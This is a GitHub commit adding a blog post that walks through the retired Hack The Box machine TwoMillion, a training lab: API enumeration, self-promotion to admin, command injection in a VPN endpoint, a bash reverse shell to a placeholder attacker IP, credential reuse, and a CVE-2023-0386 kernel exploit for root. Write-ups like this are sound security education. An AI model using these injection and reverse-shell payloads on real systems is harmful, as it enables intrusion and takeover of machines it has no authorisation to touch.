Skip to content

Commit 6703233

Browse files
committed
2Million Walkthrough
1 parent 0f0da63 commit 6703233

23 files changed

Lines changed: 317 additions & 0 deletions
Lines changed: 317 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,317 @@
1+
---
2+
published: true
3+
layout: post
4+
title: "HTB: TwoMillion"
5+
categories: [hackthebox,htb]
6+
tags: [htb,hackthebox,easy,retired]
7+
---
8+
9+
![TwoMillion HTB Logo](../assets/images/2millogo.png)
10+
11+
# Introduction
12+
13+
TwoMillion is an easy-rated Linux machine on Hack The Box that features a recreation of the old HTB website where users had to hack their way in to receive an invite code. The attack path involves reverse-engineering an invite code generation API, exploiting a command injection vulnerability in an admin VPN endpoint, and escalating privileges via a kernel exploit targeting CVE-2023-0386 (OverlayFS/FUSE).
14+
15+
# Enumeration
16+
17+
## Nmap
18+
19+
Starting with a full port scan to identify running services:
20+
21+
```bash
22+
nmap -sC -sV -p- -v 2million.htb
23+
```
24+
25+
Two ports came back open:
26+
27+
```
28+
PORT STATE SERVICE VERSION
29+
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
30+
| ssh-hostkey:
31+
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
32+
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
33+
80/tcp open http nginx
34+
|_http-title: Did not follow redirect to http://2million.htb/
35+
| http-methods:
36+
|_ Supported Methods: GET HEAD POST OPTIONS
37+
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
38+
```
39+
40+
SSH (OpenSSH 8.9p1) and an Nginx web server on port 80. The web server was redirecting to `http://2million.htb/`, so that hostname was added to `/etc/hosts` before proceeding.
41+
42+
## Web Application
43+
44+
Browsing the site on port 80 revealed a recreation of the old Hack The Box website -- the one where users had to hack their way in to get an invite code to join the platform.
45+
46+
# Foothold
47+
48+
## Cracking the Invite Code
49+
50+
The first step was figuring out how to generate a valid invite code. Inspecting the page source revealed an interesting JavaScript file:
51+
52+
`http://2million.htb/js/inviteapi.min.js`
53+
54+
The script was obfuscated but contained references to two key functions: `makeInviteCode` and `verifyInviteCode`. Running `makeInviteCode()` in the browser's developer console returned an encrypted response:
55+
56+
![makeInviteCode console output](../assets/images/twomillion/makeInviteCode.png)
57+
58+
The response indicated the data was ROT13 encoded. Decoding it revealed the instructions:
59+
60+
```
61+
In order to generate the invite code, make a POST request to /api/v1/invite/generate
62+
```
63+
64+
Following those instructions with curl:
65+
66+
```bash
67+
curl -X POST -v "http://2million.htb/api/v1/invite/generate"
68+
```
69+
70+
```json
71+
{"0":200,"success":1,"data":{"code":"MDZFUlAtTkg0UlItUU5BWjItQTMxR1k=","format":"encoded"}}
72+
```
73+
74+
The response contained a base64-encoded invite code. Decoding it:
75+
76+
```bash
77+
echo -n 'MDZFUlAtTkg0UlItUU5BWjItQTMxR1k=' | base64 -d
78+
06ERP-NH4RR-QNAZ2-A31GY
79+
```
80+
81+
## Registering and Logging In
82+
83+
Using the decoded invite code to register an account:
84+
85+
![Registration page](../assets/images/twomillion/register.png)
86+
87+
After registering and logging in, the old HTB dashboard appeared:
88+
89+
![Dashboard](../assets/images/twomillion/dashboard.png)
90+
91+
Only a few endpoints within the site were functional:
92+
93+
```
94+
Dashboard at /home
95+
Rules at /home/rules
96+
Changelog at /home/changelog
97+
Access at /home/access
98+
```
99+
100+
The Access page (`/home/access`) allowed generating a VPN connection pack. Two API endpoints were associated with it:
101+
102+
```
103+
/api/v1/user/vpn/generate
104+
/api/v1/user/vpn/regenerate
105+
```
106+
107+
## API Enumeration
108+
109+
Loading up Burp Suite to intercept traffic, I captured the VPN generation request and sent it to Repeater. Changing the endpoint from `/api/v1/user/vpn/generate` to just `/api` revealed that the API used version 1:
110+
111+
![API base response](../assets/images/twomillion/api-base.png)
112+
113+
Hitting `/api/v1` returned the full list of available API endpoints:
114+
115+
![API v1 endpoint list](../assets/images/twomillion/api-v1.png)
116+
117+
```json
118+
{
119+
"v1": {
120+
"user": {
121+
"GET": {
122+
"/api/v1": "Route List",
123+
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
124+
"/api/v1/invite/generate": "Generate invite code",
125+
"/api/v1/invite/verify": "Verify invite code",
126+
"/api/v1/user/auth": "Check if user is authenticated",
127+
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
128+
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
129+
"/api/v1/user/vpn/download": "Download OVPN file"
130+
},
131+
"POST": {
132+
"/api/v1/user/register": "Register a new user",
133+
"/api/v1/user/login": "Login with existing user"
134+
}
135+
},
136+
"admin": {
137+
"GET": {
138+
"/api/v1/admin/auth": "Check if user is admin"
139+
},
140+
"POST": {
141+
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
142+
},
143+
"PUT": {
144+
"/api/v1/admin/settings/update": "Update user settings"
145+
}
146+
}
147+
}
148+
}
149+
```
150+
151+
The admin section immediately stood out -- particularly `PUT /api/v1/admin/settings/update`.
152+
153+
## Escalating to Admin via the API
154+
155+
Hitting the `/api/v1/admin/settings/update` endpoint with a PUT request, the API complained about a missing `email` field:
156+
157+
![Missing email field](../assets/images/twomillion/missing-email.png)
158+
159+
Adding the `email` parameter, it then asked for `is_admin`:
160+
161+
![Missing is_admin field](../assets/images/twomillion/missing-isadmin.png)
162+
163+
After trying `true` (which didn't work), setting `is_admin: 1` successfully elevated the account to admin:
164+
165+
![Admin privileges updated](../assets/images/twomillion/admin-updated.png)
166+
167+
## Command Injection
168+
169+
With admin privileges, the next target was `POST /api/v1/admin/vpn/generate`. Hitting this endpoint revealed it required a `username` parameter:
170+
171+
![VPN generate missing username](../assets/images/twomillion/vpn-generate.png)
172+
173+
Adding a username returned what appeared to be VPN configuration output:
174+
175+
![VPN generate with username](../assets/images/twomillion/vpn-username.png)
176+
177+
The PHP backend was likely calling an external script with the username as an argument -- something like `exec("somescript.sh $username")`. To test for command injection, the username was set to `; id #` which would terminate the script command, execute `id`, and comment out anything after:
178+
179+
![Command injection confirmed](../assets/images/twomillion/cmd-injection.png)
180+
181+
Command injection confirmed -- the output of `id` came back showing `uid=33(www-data)`.
182+
183+
## Enumerating via Injection
184+
185+
Using the injection to explore the filesystem, listing `/home/` revealed a single user:
186+
187+
![Home directory listing](../assets/images/twomillion/home-dir.png)
188+
189+
Attempting to read `user.txt` in `/home/admin/` was denied since we were running as `www-data`:
190+
191+
![User flag permission denied](../assets/images/twomillion/user-flag-denied.png)
192+
193+
## Getting a Reverse Shell
194+
195+
Time to upgrade from blind command injection to a proper shell. A bash reverse shell was injected via the username parameter:
196+
197+
```
198+
bash -c 'bash -i >& /dev/tcp/KALI_IP/4444 0>&1'
199+
```
200+
201+
![Reverse shell payload](../assets/images/twomillion/revshell.png)
202+
203+
The shell landed as `www-data`. Upgrading to a full TTY using the standard technique:
204+
205+
```bash
206+
python3 -c 'import pty; pty.spawn("/bin/bash")'
207+
# CTRL+Z to background
208+
stty raw -echo; fg
209+
reset
210+
```
211+
212+
![TTY upgrade](../assets/images/twomillion/tty-upgrade.png)
213+
214+
## Lateral Movement to Admin
215+
216+
The reverse shell dropped into `/var/www/html`. Listing the files revealed a `.env` file:
217+
218+
```
219+
www-data@2million:~/html$ cat .env
220+
DB_HOST=127.0.0.1
221+
DB_DATABASE=htb_prod
222+
DB_USERNAME=admin
223+
DB_PASSWORD=SuperDuperPass123
224+
```
225+
226+
Testing these credentials for password reuse over SSH:
227+
228+
![SSH login as admin](../assets/images/twomillion/ssh-login.png)
229+
230+
The database password worked for SSH as the `admin` user. The login banner also indicated the user had mail.
231+
232+
## User Flag
233+
234+
```
235+
admin@2million:~$ cat ~/user.txt
236+
39202...........9edf4c
237+
```
238+
239+
# Privilege Escalation
240+
241+
## Reading Admin's Mail
242+
243+
The SSH login banner mentioned mail waiting for the admin user:
244+
245+
![Admin mail notification](../assets/images/twomillion/admin-mail.png)
246+
247+
```
248+
admin@2million:~$ cat /var/mail/admin
249+
From: ch4p <ch4p@2million.htb>
250+
To: admin <admin@2million.htb>
251+
Cc: g0blin <g0blin@2million.htb>
252+
Subject: Urgent: Patch System OS
253+
Date: Tue, 1 June 2023 10:45:22 -0700
254+
255+
Hey admin,
256+
257+
I'm know you're working as fast as you can to do the DB migration.
258+
While we're partially down, can you also upgrade the OS on our web host?
259+
There have been a few serious Linux kernel CVEs already this year.
260+
That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
261+
262+
HTB Godfather
263+
```
264+
265+
The mail from ch4p (HTB's founder) directly hinted at an OverlayFS/FUSE kernel vulnerability.
266+
267+
## CVE-2023-0386 - OverlayFS/FUSE
268+
269+
A quick search for OverlayFS/FUSE kernel CVEs pointed to CVE-2023-0386:
270+
271+
![OverlayFS CVE search results](../assets/images/twomillion/overlayfs-search.png)
272+
273+
A proof-of-concept exploit was found on GitHub. The exploit was downloaded as a ZIP, then uploaded to the target via rsync:
274+
275+
```bash
276+
rsync -v --progress CVE-2023-0386-master.zip admin@2million.htb:/home/admin
277+
```
278+
279+
On the target, the exploit was unzipped and compiled:
280+
281+
```bash
282+
admin@2million:~$ unzip CVE-2023-0386-master.zip
283+
admin@2million:~$ cd CVE-2023-0386-master
284+
admin@2million:~/CVE-2023-0386-master$ make all
285+
```
286+
287+
The exploit requires two terminals. In Terminal 1, the fuse binary is executed:
288+
289+
![Terminal 1 - fuse](../assets/images/twomillion/exploit-terminal1.png)
290+
291+
In Terminal 2, the exp binary is executed:
292+
293+
![Terminal 2 - exp](../assets/images/twomillion/exploit-terminal2.png)
294+
295+
After the exploit completes, running `sudo bash` drops into a root shell:
296+
297+
![Root shell](../assets/images/twomillion/root-shell.png)
298+
299+
## Root Flag
300+
301+
```
302+
root@2million:~# cat /root/root.txt
303+
55d1f15...........593f8c
304+
```
305+
306+
# Summary
307+
308+
| Stage | Technique |
309+
| --- | --- |
310+
| Enumeration | Nmap full port scan, vhost discovery |
311+
| Invite Code | Reverse-engineering `inviteapi.min.js`, ROT13 decoding, base64 decoding |
312+
| API Abuse | Enumerating API endpoints, escalating to admin via `PUT /api/v1/admin/settings/update` |
313+
| Foothold | Command injection in `/api/v1/admin/vpn/generate` username parameter |
314+
| Lateral Movement | Password reuse from `.env` database credentials to SSH as admin |
315+
| Privilege Escalation | CVE-2023-0386 OverlayFS/FUSE kernel exploit |
316+
317+
TwoMillion is a nostalgic machine that recreates the original HTB invite challenge while teaching several important concepts: always enumerate API endpoints when you find one, test user-controlled input for command injection especially when backend scripts are involved, check for credential reuse across services, and pay attention to system mail -- it can contain direct hints about the privilege escalation path.

assets/images/2millogo.png

143 KB
Loading
287 KB
Loading
240 KB
Loading
200 KB
Loading
430 KB
Loading
225 KB
Loading
404 KB
Loading
87.2 KB
Loading
104 KB
Loading

0 commit comments

Comments
 (0)